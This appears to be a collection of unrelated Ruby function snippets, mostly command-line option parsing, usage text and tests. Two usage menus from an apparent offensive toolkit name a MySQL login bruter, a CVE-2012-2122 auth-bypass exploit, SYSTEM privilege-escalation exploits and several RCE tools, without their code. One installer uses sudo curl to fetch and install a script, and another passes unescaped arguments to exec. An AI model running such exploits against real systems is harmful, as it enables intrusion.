$stderr.puts \"Can not create the pid file: %s\" % [$options[\"pid-file\"]]\n exit 4\n end\n end\n\n if $options[\"floodgate-games\"]\n names = $options[\"floodgate-games\"].split(\",\")\n new_names = \n names.select do |name|\n ShogiServer::League::Floodgate::game_name?(name)\n end\n if names.size != new_names.size\n $stderr.puts \"Found a wrong Floodgate game: %s\" % [names.join(\",\")]\n exit 6\n end\n $options[\"floodgate-games\"] = new_names\n end\n\n if $options[\"floodgate-history\"]\n $stderr.puts \"WARNING: --floodgate-history has been deprecated.\"\n $options[\"floodgate-history\"] = nil\n end\n\n $options[\"max-moves\"] ||= ShogiServer::Default_Max_Moves\n $options[\"max-moves\"] = $options[\"max-moves\"].to_i\n\n $options[\"least-time-per-move\"] ||= ShogiServer::Default_Least_Time_Per_Move\n $options[\"least-time-per-move\"] = $options[\"least-time-per-move\"].to_i\nend",
"def split_commands(cmd_line); end",
"def parse_cli\n raise \"Undefined interface for the command line of #{cli.task}\"\n end",
"def original_run_command; end",
"def cli_path; end",
"def helpmessage()\n\t\"\\nThis script will take a collection of input files to sass implementations and change the\\n\"+\n\t\"hierarchy in such a way that testrunner.rb can be used to run batches of tests. The\\n\"+\n\t\"expected_output.css files are generated by running sass (whichever version you have) on the\\n\"+\n\t\"input files. Sass is assumed to be on you path. View the initial comment of this script for\\n\"+\n\t\"more detailed info.\\n\\n\"\nend",
"def usage\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" computetoken\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalogs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalog\".green + \" <catalog id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvms\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdcs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" vapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" networks\".green\n\tputs \"\\n\"\n\nend",
"def userargs\n #\n # Portion to interact with user at commandline. Processes users arguments and aligns them within an options hash\n # These options are globally avalilable, and are not mutable. The can be overwritten so be sure to save the contents\n # rather than attempting to read directly from the has itself.\n #\n begin # Catch/Rescue block start\n $options = OpenStruct.new # create a new OpenStruct object\n OptionParser.new do |opt|\n opt.on('-t','--type TYPE','Consume all files of type [\"TXT\",\"GZ\"] in a directory') { |o|\n $options[:type] = o } # consumes all files of given within a given directory\n opt.on('-i','--input FILE/FOLDER','location of file(s) to process') { |o|\n $options[:input] = o } # create files in directory given by user, default if not given\n opt.on('-e','--explode','Explode contents of \"tar.gz\" files to disk') { |o|\n $options[:explode] = o } # create files from compressed file in directory given by user, default if not given\n opt.on('-o','--output{=FOLDERNAME}','Location on disk to store contents generated') { |o|\n $options[:folder] = o } # location (folder) where to store the generated output\n opt.on('-d','--debug','Enables debugging information to be displayed, performance hit') { |o|\n $options[:debug] = o } # enabled debugging output, performance hit\n opt.on('-v','--verbose','Adds additional information to STDOUT, performance hit increases') { |o|\n $options[:verbose] = o } # adds additional debugging information to STDOUT, greater performance hit\n opt.on('-s','--sleep{=TIME}','Adds pause to decrease STDOUT flooding, performance hit increases') { |o|\n $options[:sleep] = o } # adds additional debugging information to STDOUT, greater performance hit\n end.parse! # Stop parsing options from user @ cli\n rescue => someerror # catch error to var\n puts \"[ERROR]:: OptionsParser fault: #{someerror}\"\n end # Catch/Rescue block end\nend",
"def print_usage(options)\n puts\n puts \"Usage: \"+$0+\" -[\"+options+\"]\"\n puts\n puts \"-V:\\tDisplay version information\"\n puts \"-h:\\tDisplay usage information\"\n puts \"-v:\\tVerbose output\"\n puts \"-d:\\tDownload latest build but don't install\"\n puts \"-i:\\tDownload and install latest build\"\n puts \"-u:\\tUpdate application to latest build\"\n puts \"-l:\\tGet local build date for application\"\n puts \"-r:\\tGet remote build date for application\"\n puts \"-p:\\tGet URL of download for latest package\"\n puts \"-c:\\tCompare local and remote build dates\"\n puts \"-a:\\tShow available packages\"\n puts \"-g:\\tUpdate Gatekeeper and Quarantine information so application can run\"\n puts \"-z:\\tClean up temporary directory (delete files older than \"+$mtime+\" days)\"\n puts \"-Z:\\tRemove existing application\"\n puts \"-C:\\tRemove crash reporter file\"\n puts \"-P:\\tPerform post install\"\n puts \"-q:\\tQuit application\"\n puts \"-s:\\tStart application\"\n puts\nend",
"def executable_real?() end",
"def dbtools_usage\n puts \"Available Options for Database Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n# puts \"mssqlc \".light_yellow + \" => \".white + \"MS-SQL Client\".light_red\n# puts \"mssql_login \".light_yellow + \" => \".white + \"MS-SQL Login Bruter\".light_red\n puts \"mysql-fu \".light_yellow + \" => \".white + \"MySQL-Fu Client Tool\".light_red\n puts \"mysql_check \".light_yellow + \" => \".white + \"MySQL Credential Check\".light_red\n puts \"mysql_login \".light_yellow + \" => \".white + \"MySQL Login\".light_red\n puts \"auth_bypass \".light_yellow + \" => \".white + \"MySQL Auth Bypass Exploit (CVE-2012-2122)\".light_red\n puts \"mysql_mof \".light_yellow + \" => \".white + \"Windows MySQL Privileged User to SYSTEM MOF Exploit\".light_red\n puts \"mysql_udf \".light_yellow + \" => \".white + \"Windows MySQL Privileged User to SYSTEM UDF Exploit\".light_red\n print_line(\"\")\nend",
"def main(testCommands)\n\t\tif testCommands\n\t\t\tcommand = testCommands\n\t\telse \n\t\t\tcommand = ARGV\n\t\tend \n\t\tresult = \"\"\n\t\tif !command.empty?\n\t\t\tcommand.each_with_index{|cmd,i|\n\t\t\t\tif cmd.split(' ').length>1\n\t\t\t\t\tcommand[i] = '\"' + cmd + '\"'\n\t\t\t\tend\n\t\t\t}\n\t\t\tcommand.each_with_index{|cmd,i| \n\t\t\t\tif i==0 && SupportedCmds.include?(cmd)\n\t\t\t\t\tresult = parseCommand(cmd,command*\" \")\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tresult = \"Invalid command '\" + cmd + \"'.\\nCommands supported : \" + SupportedCmds.to_s\n\t\t\t \t#result = \"Invalid command '\" + cmd + \"'\"\n\t\t\t end\n\t\t\t}\n\t\t\tdisplayResult(result) #if !testCommands\n\t\tend\n\t\treturn result\n\tend",
"def test_print?\n c = cli\n refute(c.print?)\n\n c = cli(['-p'])\n assert(c.print?)\n end",
"def usage\n $stderr.puts \"Usage: TestDrive -r[review request num] -d[diff version (defaults latest)] -a [to run rake test automatically] -s [to run script/server automatically] -p [p-value for patch (TestDrive attempts to guess)]\"\n exit(1)\nend",
"def test_required_class_constants\n @cmds.each do |cmd_name, cmd|\n if cmd.is_a?(Trepan::SubcommandMgr)\n cmd.subcmds.subcmds.each do |subcmd_name, subcmd|\n where = \"of subcommand #{subcmd_name} in command #{cmd_name}\"\n %w(HELP NAME SHORT_HELP).each do\n |const|\n value = subcmd.my_const(const)\n assert_equal(true, value.is_a?(String),\n \"#{const} #{where} should be a String; got #{value}.\")\n end\n value = subcmd.my_const('MIN_ABBREV')\n assert(value.is_a?(Fixnum),\n \"MIN_ABBREV #{where} should be a Fixnum; got #{value}.\")\n\n if 'show' == cmd_name\n short_help = subcmd.my_const('SHORT_HELP')\n needed_start = 'Show '\n assert_equal(needed_start, short_help[0..needed_start.size-1],\n \"Short help #{where} should start: \\\"#{needed_start}\\\"; got #{short_help}\")\n end\n end\n end\n end\n end",
"def checkTools()\n\n\tif (PATH_CLANG_FORMAT.empty?)\n\t\tabort(\"Unable to find clang-format!\");\n\tend\n\n\tif (PATH_UNCRUSTIFY.empty?)\n\t\tabort(\"Unable to find uncrustify!\");\n\tend\n\nend",
"def run_cmd(cmd)\n\tend",
"def start_point_create\n help = [\n '',\n \"Use: #{me} start-point create NAME --git=URL\",\n 'Creates a start-point named NAME from a git clone of URL',\n '',\n \"Use: #{me} start-point create NAME --dir=DIR\",\n 'Creates a start-point named NAME from a copy of DIR',\n '',\n \"NAME's first letter must be [a-zA-Z0-9]\",\n \"NAME's remaining letters must be [a-zA-Z0-9_.-]\",\n \"NAME must be at least two letters long\"\n ]\n\n if [nil,'--help'].include? ARGV[2]\n show help\n exit succeeded\n end\n\n # If you do\n # [docker volume create --name=-name=sdsd]\n # You get: Error response from daemon: create --name=sdsd: \"--name=sdsd\"\n # includes invalid characters for a local volume name,\n # only \"[a-zA-Z0-9][a-zA-Z0-9_.-]\" are allowed\n # Experimenting with [docker volume create] reveals this means\n # [a-zA-Z0-9] for the first letter\n # [a-zA-Z0-9_.-] for the *remaining* letters\n # Docker volume names must be at least 2 letters long.\n # See https://github.com/docker/docker/issues/20122'\n\n vol = ARGV[2]\n unless vol =~ /^[a-zA-Z0-9][a-zA-Z0-9_.-]+$/\n STDERR.puts \"FAILED: #{vol} is an illegal NAME\"\n exit failed\n end\n\n if volume_exists? vol\n STDERR.puts \"FAILED: a start-point called #{vol} already exists\"\n exit failed\n end\n\n # unknown arguments?\n args = ARGV[3..-1]\n knowns = ['git','dir']\n unknown = args.select do |argv|\n knowns.none? { |known| argv.start_with?('--' + known + '=') }\n end\n unless unknown == []\n unknown.each { |arg| STDERR.puts \"FAILED: unknown argument [#{arg.split('=')[0]}]\" }\n exit failed\n end\n\n # required known arguments\n url = get_arg('--git', args)\n dir = get_arg('--dir', args)\n if url && dir\n STDERR.puts 'FAILED: specify --git=... OR --dir=... but not both'\n exit failed\n end\n # [cyber-dojo] does actual [start-point create NAME --dir=DIR]\n # [cyber-dojo.sh] does actual [start-point create NAME --git=URL]\nend",
"def pacman()\n $installCmd = \"pacman -S\"\n $reinstallCmd = \"pacman -S --force\"\n $searchCmd = \"pacman -Ss\"\n $updateCmd = \"pacman -Su\"\n $syncCmd = \"pacman -Sy\"\n $syncANDupdateCmd = \"pacman -Syu\"\n $refreshSyncCmd = \"pacman -Syy\"\n $removeCmd = \"pacman -R\"\n $recursiveRemoveCmd = \"pacman -Rdd\"\n $checkUpdatesCmd = \"checkupdates\"\n $cleanCmd = \"pacman -Rsn $(pacman -Qdtq)\"\nend",
"def test_usage\n assert_equal 1, go_with_args(%w(-h))\n assert_match(/^Usage: /, @stderr_io.string )\n end",
"def preprocess_arguments_for_commands(args)\n # All arguments should be passed through to the atlantis command.\n if args.first == \"atlantis\"\n return args.slice!(1..-1)\n end\n if args.first == \"ssh\"\n arg_index = 1\n arg_index += 1 if Component.names.include?(args[1]) # Skip <component>, if it exists\n while arg_index < args.length\n break if args[arg_index][0] != \"-\"\n arg_index += 1 if args[arg_index] == \"-i\"\n arg_index += 1\n end\n return [] unless arg_index < args.length\n puts \"slicing #{arg_index.inspect}\"\n return args.slice!(arg_index..-1)\n end\n []\nend",
"def print_usage\n\t\nprint <<OEM\nusage: codeSync [-v] <project file>\n\n -v Verbose output\n <project file> File that sets connection and sync settings (see example below)\n\n(version #{APP[:version]} - #{APP[:build]})\n\nThis is a mac utility that uses rsync to immediately synchronize file\nchanges to a server or remote computer, as you work.\n\nNOTE: Since it uses rsync to communicate with the server, it is important\nto setup private/public keys: http://bit.ly/PcTRK\n(IF YOU DO NOT you will be prompted for your password for each file change.)\n\nCodeSync uses a project file (see example below) for the server connection\nsettings and which directories to keep in sync.\n\nEXAMPLE PROJECT FILE\n\n # Server details\n server=\"remoteserver.com\"\n username=\"johndoe\"\n\n # Base directories to sync from/to\n remote_basedir=\"/home/johndoe/svn/\"\n local_basedir=\"/work/projects/remote\"\n\n # The directories to sync, relative to the base directories\n sync_dirs=[ \"/static/js\",\n \"/static/css\",\n \"/gui/jsp\" ] \n # sync_dirs=[ ] # This will sync the entire base directories\n\n # Directories to exclude, relative to the base directory\n # Example: If syncing the entire trunk, you can exclude the build directory\n # since it contains a lot of unnecessary and large files\n exclude_dirs = [ \"dist\", \"build\", \"_codegen\" ]\n\n # The contents of these directories will only sync \"up\" to the server.\n # This means the contents will never be downloaded from the server\n # but files added or changed locally will be sent to the server\n sync_up=[ \"/static/img\" ]\n\nOEM\n\nend",
"def usage\n puts \"Usage: akaza exec|wsrb|exec_wsrb FILE_NAME\"\nend",
"def testNominalWithSeveralPlatforms\n setupTest do |iTasksFileName, iTicketsFileName|\n $Context[:OS_ExecAnswers] = [\n # svn co => success\n [ 0, '' ],\n # deliver => success, generating files\n [ 0, '', @@Generator_DummyGemAndWindows ]\n ]\n executeProcess(\n [\n '--user', 'ReleaseUser',\n '--branch', 'BranchName',\n '--comment', 'ReleaseComment',\n '--version', '0.0.1.20100317',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--svnco', 'MySVNRep',\n '--deliver', 'deliver %{DeliverablesDir}'\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn co MySVNRep' ],\n [ 'query', /^deliver .*$/ ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal( @@CommonSlaveActions.merge(\n {\n Tools::FilesManager => {\n Actions::File_Upload => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/All/Gem/DummyGem.gem\"), 'All', 'Gem', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ],\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/Windows/Inst/Install.exe\"), 'Windows', 'Inst', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ]\n }\n } ),\n iSlaveActions\n )\n end\n end\n end",
"def shell_commands(cmd, args); end",
"def test_arg_check_2string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy']))\n end",
"def test_arg_check_3string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy', 'poopypoop']))\n end",
"def print_usage; end",
"def requireCMD(cmdName, extraHelp = nil)\n\n if(cmdName.start_with? \"./\" or File.exists? cmdName)\n # Skip relative paths\n return\n end\n\n if which(cmdName) != nil\n # Command found\n return\n end\n\n # Windows specific checks\n if OS.windows?\n # There are a bunch of inbuilt stuff that aren't files so ignore them here\n case cmdName\n when \"call\"\n return\n when \"start\"\n return\n when \"mklink\"\n return\n end\n end\n\n # Print current search path\n puts \"\"\n info \"The following paths were searched for \" +\n pathExtsAsArray.map{|i| \"'#{cmdName}#{i}'\"}.join(' or ') + \" but it wasn't found:\"\n\n pathAsArray.each{|p|\n puts p\n }\n \n onError \"Required program / tool '#{cmdName}' is not installed or missing from path.\\n\" +\n \"Please install it and make sure it is in path, then try again. \" +\n \"(path is printed above for reference)\" + (\n if extraHelp then \" \" + extraHelp else \"\" end) \n \nend",
"def testCommandLineDetailedListShort\n executeSlave( [ '-e' ] )\n end",
"def install_cli_tool\n # check for /usr/local/bin. Create if necessary.\n if File.directory?('/usr/local/bin')\n puts \"/usr/local/bin exists...\"\n else\n puts \"/usr/local/bin does not exist, creating...\"\n `sudo mkdir /usr/local/bin && chmod 0755 /usr/local/bin`\n end\n\n Dir.chdir('/usr/local/bin')\n\n # Download mac_format\n puts \"Downloading CLI tool...\"\n `sudo curl -s -O https://raw.githubusercontent.com/xraystyle/mac_format/master/mac_format && sudo chmod a+x mac_format`\n if $?.success?\n puts \"mac_format CLI tool installed...\"\n puts\n else\n puts \"Error installing CLI tool.\"\n puts \"mac_format failed to download.\"\n exit\n end\nend",
"def sys(cmd, sensitive=[])\n sanitized = cmd.dup\n sensitive.each { |s| sanitized.gsub!(s, '...') }\n puts \"+ #{sanitized}\"\n\n system(cmd)\nend",
"def usage; end",
"def usage; end",
"def do_as_i_said\n if ARGV.length == 0\n puts $usage\n exit\n elsif ARGV[0] == \"-h\"\n\n arguments = ARGV.dup\n \n if arguments.length > 2\n arguments.slice!(2..(arguments.length - 1))\n end\n \n parse_command_line(arguments)\n \n else\n arguments = ARGV.dup\n command = split_arguments! arguments\n \n # Prevent space character from being considered as a separator.\n arguments.map! do |arg|\n if arg == \" \"\n '\" \"'\n else\n arg\n end\n end\n \n exec(\"#{$current_directory}/gimmicode-#{command} #{arguments.join(\" \")}\")\n end\nend",
"def helps\n puts \"id - unique incrementing number\"\n puts \"rid - unique random interger\"\n puts \"surname - surname from the list\"\n puts \"name - name from the list\"\n puts \"post - montreal like post code\"\n puts \"age - age from 14 to 54\"\n puts \"phone - random phone XXX-XXXX\"\n puts \"alpha - random lowercase character\"\n puts \"ALPHA - random uppercase character\"\n puts \"num - random numner 0->9\"\n puts \"date - random date\"\n puts \"time - random time\"\n puts \"space - [unstable] adds a space\"\n puts \"null - [unstable] adds null token\"\n puts \"word - random word from list\"\n puts \"range - random range from x to y. Use like this: 12range40\"\n puts \"list - random selection from a list. Use like this: list=a,v,word,1,4\"\n puts \"man - manual entry. Use like this: man=1234\"\n puts \"back - a backspace. Use with words\"\n puts \"nodelim - no delimiter to join two options\"\n puts \"% - shorthand for nodelim\" \n puts \"times - an option x times eg: 10times man=1234\"\n puts \" Command Format: \"\n puts \" 10 10times man=1234 name surname\"\n end",
"def do_usage()\n puts \"Usage: gamera_dir [flags] server directory\"\n puts \"Import gamera OCR for book into specified TypeWright server from given directory.\"\n puts \"If book does not already exist, issue error.\"\n puts \" -v Verbose output\"\n puts \" -t Test only -- don't actually upload files\"\nend",
"def system(cmd, *rest) end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def parseCommandString(cmdParams)\n cmdParams.each do |line|\n line.strip!\n if line.match(/fcname=/)\n @fcName = line.gsub(/fcname=/,\"\") \n elsif line.match?(/use_bases_mask=/)\n @useBasesMask = line.gsub(/use_bases_mask=/,\"\")\n end\n end\n\n if @fcName == nil \n printUsage()\n exit -1\n end\n end",
"def commands; end",
"def parse_cli\n require 'getoptlong'\n require 'rdoc/usage'\n \n opts = GetoptLong.new(\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ \"--quote-terms\", '-q', GetoptLong::NO_ARGUMENT ]\n )\n \nend",
"def issue_command(str)\n puts str\nend",
"def test_assembles_two_array_arguments_into_cmd\n Crd::Flex::Command.new 'mxmlc' do |s|\n s.source_path << 'src'\n s.source_path << 'lib/src'\n s.library_path << 'lib/bin'\n cmd = s.to_cmd.split( /\\s+/ )\n assert_equal( 'mxmlc', cmd.shift )\n assert( cmd.include?( '-source-path+=src,lib/src' ), 'Could not find argument in to_cmd' )\n assert( cmd.include?( '-library-path+=lib/bin' ), 'Could not find argument in to_cmd' )\n end\n end",
"def parse_cmdline(o)\n cmd_opts = GetoptLong.new(\n ['--cluster', '-c', GetoptLong::REQUIRED_ARGUMENT],\n ['--pool', '-p', GetoptLong::REQUIRED_ARGUMENT],\n ['--end', '-e', GetoptLong::REQUIRED_ARGUMENT],\n ['--help', '-h', GetoptLong::NO_ARGUMENT],\n ['--output', '-o', GetoptLong::REQUIRED_ARGUMENT],\n ['--start', '-s', GetoptLong::REQUIRED_ARGUMENT],\n ['--utc', '-u', GetoptLong::REQUIRED_ARGUMENT],\n ['--verbose', '-v', GetoptLong::OPTIONAL_ARGUMENT],\n ['--version', '-V', GetoptLong::OPTIONAL_ARGUMENT]\n )\n cmd_opts.each do |opt, arg|\n case opt\n when '--cluster'\n o[:cluster] = arg\n when '--pool'\n o[:pool] = arg\n when '--end'\n if check_iso_date(arg)\n o[:end] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--help'\n puts <<-EOF\n#{$PROGRAM_NAME} [OPTIONS]\n\n-c, --cluster: Mandatory argument to depict which cluster the accounting\n information belongs to - is also part of output\n-h, --help: Show this help message\n-o, --output: Place results into this directory\n-v, --verbose: Be more verbose about what is happening\n note, prepending # to ensure it does not mangle output\n-V, --version: Output version string\n\nYou can specify the query range by specifying either\n-u, --utc: Run query for specified UTC date (YYYY-MM-DD)\nor\n-s, --start: start query at UTC date YYYY-MM-DD (start of day, i.e. 00:00:00)\n-e, --end: stop query at UTC date YYYY-MM-DD (end of day, i.e. 23:59:59,\n ignoring leap seconds\n\nPlease note that these -u and (-s/-e) are mutually exclusive and -u\nimplies -s/-e set to the same date.\n\nIf no date is given it will be the previous full UTC day prior to the\nscript's run time (a.k.a. now).\n\nEOF\n exit 0\n when '--output'\n o[:output] = File.expand_path(arg)\n when '--start'\n if check_iso_date(arg)\n o[:start] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--utc'\n if check_iso_date(arg)\n o[:utc] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --utc invalid (given #{arg})\"\n exit 1\n end\n when '--verbose'\n o[:verbose] = 42\n when '--version'\n puts \"This is ldg-accounting-collector version\\n#{VERSION}\"\n exit 1\n else\n STDERR.puts \"unrecognized option #{arg}\"\n end\n end\nend",
"def testCommandLineListShort\n executeSlave( [ '-l' ] )\n end",
"def parseCommandString(cmdParams)\n cmdParams.each do |entry|\n line = entry.dup\n line.strip!\n if line.match(/fcname=/)\n @fcName = line.gsub(/fcname=/,\"\") \n elsif line.match?(/use_bases_mask=/)\n @useBasesMask = line.gsub(/use_bases_mask=/,\"\")\n end\n end\n\n if @fcName == nil \n printUsage()\n exit -1\n end\n end",
"def check_for_executable; end",
"def test_ls\n cmd=ShellCommand.new(:cmd=>\"ls\")\n assert(!cmd.run?)\n assert(!cmd.success?)\n assert(cmd.run)\n assert(cmd.run?)\n if cmd.success?\n refute_equal(\"\", cmd.output)\n else\n refute_equal(\"\", cmd.error)\n end\n end",
"def helpAndVerFirstArg\n raise Trollop::HelpNeeded if ARGV.empty? || ARGV[0] == '--help' || ARGV[0] == '-h' # show help screen\n raise Trollop::VersionNeeded if ARGV[0] == '--version' || ARGV[0].downcase == '-v' # show version screen\nend",
"def test_help\n \tassert_equal(UI.parseCommand('help', HelpCmd1*\" \"),UI.main(HelpCmd1))\n \tassert_equal(UI.parseCommand('help', HelpCmdInv*\" \"),UI.main(HelpCmdInv))\n end",
"def process_commandline_args\n\n params = { :sidelength => 1, :mult => 10, :stroke_width => 0.7,\n :cols => 10, :rows => 10,\n :nested => 1, :nested_spacing => 0.2,\n :suppress_grid => true,\n :moveto_color => 'none', :lineto_color => '#ff0000', :background_color => '#fe8736',\n :xshift => 0, :yshift => 0,\n :shiftstep => nil, :shiftstepx => 0, :shiftstepy => 0, :shiftsteps => 15,\n :outputstepfile => 'output/img_%.04d.svg'\n }\n\n ARGV.each { |a|\n if v = a.match(/^--side-length=([0-9.]+)$/) then params[:sidelength] = v[1].to_f\n elsif v = a.match(/^--cols=([0-9]+)$/) then params[:cols] = v[1].to_i\n elsif v = a.match(/^--rows=([0-9]+)$/) then params[:rows] = v[1].to_i\n elsif v = a.match(/^--nested=([0-9]+)$/) then params[:nested] = v[1].to_i\n elsif v = a.match(/^--nested-spacing=(0?\\.[0-9]+)$/) then params[:nested_spacing] = v[1].to_f\n elsif v = a.match(/^--suppress-grid(=([01]))?$/) then params[:suppress_grid] = (v[1].nil? || v[2] == \"1\")\n elsif v = a.match(/^--mult=([.0-9e]+)$/) then params[:mult] = v[1].to_f\n elsif v = a.match(/^--stroke-width=([.0-9]+)$/) then params[:stroke_width] = v[1].to_f\n elsif v = a.match(/^--moveto-color=(none|#(\\h{3}|\\h{6}))$/)\n then params[:moveto_color] = v[1]\n elsif v = a.match(/^--lineto-color=(none|#(\\h{3}|\\h{6}))$/)\n then params[:lineto_color] = v[1]\n elsif v = a.match(/^--xshift=([-.0-9]+)$/) then params[:xshift] = v[1].to_f\n elsif v = a.match(/^--yshift=([-.0-9]+)$/) then params[:yshift] = v[1].to_f\n\n elsif v = a.match(/^--shiftstep=([-.0-9]+)$/) then params[:shiftstep] = v[1].to_f\n elsif v = a.match(/^--shiftstepx=([-.0-9]+)$/) then params[:shiftstepx] = v[1].to_f\n elsif v = a.match(/^--shiftstepy=([-.0-9]+)$/) then params[:shiftstepy] = v[1].to_f\n elsif v = a.match(/^--shiftsteps=([0-9]+)$/) then params[:shiftsteps] = v[1].to_i\n elsif v = a.match(/^--outputstepfile=['\"]*(.+\\.svg)['\"]*$/)\n then\n if v[1].match(/%[.0-9]*d/)\n params[:outputstepfile] = v[1]\n STDERR.puts \"got outputstepfile == #{params[:outputstepfile]}\"\n end\n else abort \"\\nArborting!!! -- Error: unknown argument #{a}\\n\\n\"\n end\n }\n\n unless params[:shiftstep].nil? \n params[:shiftstepx] = params[:shiftstep]\n params[:shiftstepy] = params[:shiftstep]\n end\n\n params\nend",
"def testCommandLineVersionShort\n executeSlave( [ '-v' ] )\n end",
"def help; end",
"def help; end",
"def help; end",
"def special_usage\n puts \"Available Options for Specialty Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"coldfusion\".light_yellow + \" => \".white + \"Coldfusion Tools\".light_red\n puts \"moinmoin\".light_yellow + \" => \".white + \"MoinMoin RCE\".light_red\n puts \"phpcgi\".light_yellow + \" => \".white + \"PHP CGI RCE Tools\".light_red\n puts \"phpBB\".light_yellow + \" => \".white + \"phpBB Tools\".light_red\n puts \"ipb\".light_yellow + \" => \".white + \"IPB Tools\".light_red\n# puts \"joomla\".light_yellow + \" => \".white + \"Joomla! Tools\".light_red\n# puts \"myBB\".light_yellow + \" => \".white + \"MyBB Tools\".light_red\n# puts \"vBulletin\".light_yellow + \" => \".white + \"vBulletin Tools\".light_red\n puts \"wp\".light_yellow + \" => \".white + \"WordPress Tools\".light_red\n puts \"fckeditor\".light_yellow + \" => \".white + \"FCKEditor Tools\".light_red\n print_line(\"\")\nend",
"def test_parse05c\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt=bar' ] )\n assert_equal( 'bar', options[ 'v-opt' ] )\n end",
"def help()\n $stderr.puts \"Usage: ruby __.rb -x cross_match_output -r reference.fasta -o prefix_of_output [-m minscore -s max_substitution -g max_gap] [-c]\"\nend",
"def print_usage(options,on_boot,terminal)\n puts\n puts \"Usage: \"+$0+\" -[\"+options+\"]\"\n puts\n puts \"-V:\\tDisplay version information\"\n puts \"-h:\\tDisplay usage information\"\n puts \"-i:\\tImport file\"\n puts \"-o:\\tOutput file\"\n puts \"-j:\\tConvert hosts file to a JSON file\"\n puts \"-t:\\tOutput to standard IO\"\n puts \"-T:\\tSet Terminal application (default #{terminal})\"\n puts \"-l:\\tStart Shuttle at login (default #{on_boot})\"\n puts\n return\nend",
"def run_cmd(input); end",
"def test_help_screen\n out = capture(:out) do\n assert_raises(SystemExit) { Dotrun.new.run(\"-?\") }\n end\n assert_includes out, \"Available directives for\"\n end",
"def test_options_parser\n input_short = '-oC:\\test -v -c pass'.split(\" \")\n input_long = '--output-path=C:\\test --verbose --copy-only pass'.split(\" \")\n\n [input_short, input_long].each do |input|\n options = parse_args(input)\n\n assert_equal('C:\\test', options[:output_folder])\n assert_true(options[:verbose])\n assert_true(options[:copy_only])\n assert_equal(['pass'], input)\n end\n end",
"def test_found_returns_false_for_commands_not_found_in_path\n Crd::Flex::Command.new 'madeupcommandname' do |s|\n assert_equal( false, s.found? )\n end\n end",
"def cli_path=(_arg0); end",
"def main; end",
"def testNominalShort\n setupTest do |iTasksFileName, iTicketsFileName|\n $Context[:OS_ExecAnswers] = [\n # svn co => success\n [ 0, '' ],\n # deliver => success, generating files\n [ 0, '', @@Generator_SingleDummyGem ]\n ]\n executeProcess(\n [\n '-u', 'ReleaseUser',\n '-b', 'BranchName',\n '-c', 'ReleaseComment',\n '-v', '0.0.1.20100317',\n '-t', iTasksFileName,\n '-k', iTicketsFileName,\n '-s', 'MySVNRep',\n '-d', 'deliver %{DeliverablesDir}'\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn co MySVNRep' ],\n [ 'query', /^deliver .*$/ ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal( @@CommonSlaveActions.merge(\n {\n Tools::FilesManager => {\n Actions::File_Upload => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/All/Gem/DummyGem.gem\"), 'All', 'Gem', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ]\n }\n } ),\n iSlaveActions\n )\n end\n end\n end",
"def cli_prefix=(_arg0); end",
"def _entry_4_validatecommand(*args)\n\n end",
